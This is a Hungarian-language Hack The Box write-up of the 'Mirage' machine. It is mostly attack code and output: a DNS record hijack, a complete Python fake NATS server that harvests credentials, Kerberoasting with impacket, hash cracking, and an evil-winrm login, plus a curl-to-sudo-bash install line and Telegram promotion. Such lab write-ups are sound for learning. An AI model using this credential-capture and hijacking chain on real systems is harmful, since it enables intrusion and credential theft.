Skip to content

Mirage - Hack The Box

Platform: Windows

IP: 10.129.241.132

Difficulty: Hard

Author: NoSec

🚨 Kövess élőben HTB-n — leakek, dropok és mély writeupok
👉 t.me/nosecpwn
Ne olvasd. Csatlakozz.


Recon

nmap -sVC mirage.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 16:39 CEST
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.28% done; ETC: 16:41 (0:00:01 remaining)
Nmap scan report for mirage.htb (10.129.241.132)
Host is up (0.12s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-22 14:39:55Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-22T14:40:43
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.40 seconds

NFS Share Felfedezése és Mountolása

Megtalált NFS megosztás mountolása:

showmount -e mirage.htb
sudo mount -t nfs mirage.htb:/MirageReports /mnt

Majd másoljuk át a fájlokat saját mappánkba:

sudo cp /mnt/Incident_Report_Missing_DNS_Record_nats-svc.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo cp /mnt/Mirage_Authentication_Hardening_Report.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo chown <your_user>:<your_user> Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf

Fontos Környezeti Információk (PDF-ből)

A PDF-ekből nyert információk:

  • NTLM tiltva van, kizárólag Kerberos működik.
  • Hiányzik a DNS rekord a nats-svc.mirage.htb hosztnévhez.

Ez azt jelenti, hogy NTLM-alapú támadások kizárva, csak Kerberos-alapú eszközöket használhatunk.

Kerberos

Kerberos Beállítása

Állítsuk be a Kerberos configot (krb5.conf):

[libdefaults]
    default_realm = MIRAGE.HTB
    kdc_timesync = 1
    ccache_type = 4
    forwardable = true
    proxiable = true
    rdns = false
    fcc-mit-ticketflags = true

[realms]
    MIRAGE.HTB = {
        kdc = 10.129.241.132
        admin_server = 10.129.241.132
    }

DNS Hijacking előkészítése

Készítsük elő a DNS rekord módosítását:

nano dns.txt

Majd írjuk bele:

server 10.129.241.132
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send

Hamis NATS Szerver Indítása (Credentials Capture)

Indítsuk el a hamis NATS szervert, ami elkapja a belépési adatokat:

#!/usr/bin/env python3

import socket
import threading
import json
from datetime import datetime

class HamisNATSSzerver:
    def __init__(self, cim='0.0.0.0', port=4222):
        self.cim = cim
        self.port = port
        self.aktiv = False
        self.kliens_lista = []

    def naploz(self, szoveg):
        ido = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{ido}] {szoveg}")

    def kezeld_klienst(self, kapcsolat, cim):
        self.naploz(f"🔌 Új kapcsolat: {cim[0]}:{cim[1]}")

        try:
            # Küldjünk egy 'INFO' üzenetet, mintha igazi NATS szerver lennénk
            info = {
                "server_id": "hun-fake-nats",
                "version": "2.9.0",
                "proto": 1,
                "host": self.cim,
                "port": self.port,
                "max_payload": 1048576,
                "client_id": len(self.kliens_lista)
            }
            kapcsolat.send(f"INFO {json.dumps(info)}\r\n".encode())
            self.naploz("📤 INFO elküldve a kliensnek")

            while self.aktiv:
                try:
                    adat = kapcsolat.recv(4096)
                    if not adat:
                        break

                    bejovo = adat.decode('utf-8', errors='ignore').strip()
                    self.naploz(f"📨 Bejövő üzenet: {repr(bejovo)}")

                    sorok = bejovo.split('\r\n')
                    for sor in sorok:
                        if sor:
                            self.parseld_uzenet(sor, cim)

                    kapcsolat.send(b"+OK\r\n")

                except socket.timeout:
                    continue
                except Exception as hiba:
                    self.naploz(f"Hiba a kliensnél {cim}: {hiba}")
                    break

        except Exception as altalanos:
            self.naploz(f"Kapcsolódási hiba: {altalanos}")
        finally:
            self.naploz(f"❌ Kapcsolat bontva: {cim[0]}:{cim[1]}")
            kapcsolat.close()
            if kapcsolat in self.kliens_lista:
                self.kliens_lista.remove(kapcsolat)

    def parseld_uzenet(self, sor, cim):
        """NATS protokoll üzenetek feldolgozása"""
        par = sor.split(' ', 1)
        parancs = par[0].upper() if par else ''

        if parancs == 'CONNECT':
            try:
                adat_json = par[1] if len(par) > 1 else '{}'
                adatok = json.loads(adat_json)

                self.naploz(f"🔐 CONNECT - {json.dumps(adatok, indent=2)}")

                # Lehetséges érzékeny infók logolása
                if 'user' in adatok:
                    self.naploz(f"🎯 FELHASZNÁLÓNÉV: {adatok['user']}")
                if 'pass' in adatok:
                    self.naploz(f"🎯 JELSZÓ: {adatok['pass']}")
                if 'auth_token' in adatok:
                    self.naploz(f"🎯 TOKEN: {adatok['auth_token']}")
                if 'sig' in adatok:
                    self.naploz(f"🎯 ALÁÍRÁS: {adatok['sig']}")
                if 'jwt' in adatok:
                    self.naploz(f"🎯 JWT: {adatok['jwt']}")

            except json.JSONDecodeError:
                self.naploz(f"⚠️ Hibás CONNECT formátum: {sor}")

        elif parancs == 'SUB':
            self.naploz(f"📥 Feliratkozás: {sor}")

        elif parancs == 'PUB':
            self.naploz(f"📤 Publikálás: {sor}")

        elif parancs == 'PING':
            self.naploz("🏓 PING kapva")

        elif parancs == 'PONG':
            self.naploz("🏓 PONG kapva")

        elif parancs == 'MSG':
            self.naploz(f"📬 Üzenet: {sor}")

        else:
            self.naploz(f"❓ Ismeretlen parancs: {sor}")

    def indit(self):
        self.aktiv = True
        szerver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        szerver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        try:
            szerver_socket.bind((self.cim, self.port))
            szerver_socket.listen(5)

            self.naploz(f"🚀 Hamis NATS szerver fut: {self.cim}:{self.port}")
            self.naploz("🧲 Várakozás kapcsolatokra...")

            while self.aktiv:
                try:
                    kliens_conn, kliens_cim = szerver_socket.accept()
                    kliens_conn.settimeout(30)
                    self.kliens_lista.append(kliens_conn)

                    szal = threading.Thread(target=self.kezeld_klienst, args=(kliens_conn, kliens_cim))
                    szal.daemon = True
                    szal.start()

                except socket.error as err:
                    if self.aktiv:
                        self.naploz(f"⚠️ Socket hiba: {err}")

        except Exception as alt:
            self.naploz(f"🔥 Szerverhiba: {alt}")
        finally:
            szerver_socket.close()
            self.naploz("🛑 Szerver leállt.")

    def leallit(self):
        self.aktiv = False
        for k in self.kliens_lista:
            k.close()

def main():
    szerver = HamisNATSSzerver()
    try:
        szerver.indit()
    except KeyboardInterrupt:
        print("\n[+] Kilépés, szerver leállítása...")
        szerver.leallit()

if __name__ == "__main__":
    print("🎭 Hamis NATS Szerver - Hozzáférési adat csapda")
    print("=" * 60)
    main()
python nats.py
🎭 Hamis NATS Szerver - Hozzáférési adat csapda
============================================================
[2025-07-22 17:04:20] 🚀 Hamis NATS szerver fut: 0.0.0.0:4222
[2025-07-22 17:04:20] 🧲 Várakozás kapcsolatokra...
[2025-07-22 17:04:26] 🔌 Új kapcsolat: 10.129.241.132:61370
[2025-07-22 17:04:26] 📤 INFO elküldve a kliensnek
[2025-07-22 17:04:27] 📨 Bejövő üzenet: 'CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7*******","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}\r\nPING'
[2025-07-22 17:04:27] 🔐 CONNECT - {
  "verbose": false,
  "pedantic": false,
  "user": "Dev_Account_A",
  "pass": "hx5h7******",
  "tls_required": false,
  "name": "NATS CLI Version 0.2.2",
  "lang": "go",
  "version": "1.41.1",
  "protocol": 1,
  "echo": true,
  "headers": false,
  "no_responders": false
}
[2025-07-22 17:04:27] 🎯 FELHASZNÁLÓNÉV: Dev_Account_A
[2025-07-22 17:04:27] 🎯 JELSZÓ: hx5h7*******
[2025-07-22 17:04:27] 🏓 PING kapva
[2025-07-22 17:04:27] ❌ Kapcsolat bontva: 10.129.241.132:61370
^C[2025-07-22 17:05:32] 🛑 Szerver leállt.

[+] Kilépés, szerver leállítása...

Credentials megszerzése

Ha minden jól ment, elfogjuk a hitelesítő adatokat:

FELHASZNÁLÓNÉV: Dev_Account_A
JELSZÓ: hx5h7F5*******

NATS CLI használata

Telepítsük a natscli-t és ellenőrizzük a NATS szervert:

curl -sSL https://raw.githubusercontent.com/upciti/wakemeops/main/assets/install_repository | sudo bash
sudo apt update
sudo apt install natscli

nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'

Hozzunk létre egy "consumer"-t:

nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'

Beállítások:

  • Start policy: all
  • Acknowledgment policy: explicit
  • Replay policy: original
  • Deliver headers only: No

Kérjük le az üzeneteket:

nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'

Megkapjuk:

{"user":"david.jjackson","password":"pN8kQ******","ip":"10.10.10.20"}

Kerberos Ticket Granting Ticket (TGT) szerzése

Kérjünk TGT-t:

impacket-getTGT mirage.htb/david.jjackson:'pN8kQ*******'
export KRB5CCNAME=david.jjackson.ccache

Enumeráljuk az SPN-eket és TGS ticketeket:

impacket-GetUserSPNs -k -no-pass -dc-host dc01.mirage.htb mirage.htb/ -request

Törjük fel a hasht Johnnal:

john nathan.txt --wordlist=/usr/share/wordlists/rockyou.txt

Kapott jelszó:

3ed******

Bejelentkezés WinRM-en

Kérjünk TGT-t Nathan Aadam fiókkal:

impacket-getTGT mirage.htb/nathan.aadam:'3ed******'
export KRB5CCNAME=nathan.aadam.ccache

Belépés:

evil-winrm -i dc01.mirage.htb -r mirage.htb

User Flag megszerzése

Listázzuk ki a flaget:

*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop> ls

Directory: C:\Users\nathan.aadam\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          7/4/2025   1:01 PM           2312 Microsoft Edge.lnk
-ar---         7/22/2025   5:55 AM             34 user.txt

User flag megszerezve!


🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív a Season 8-ban.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn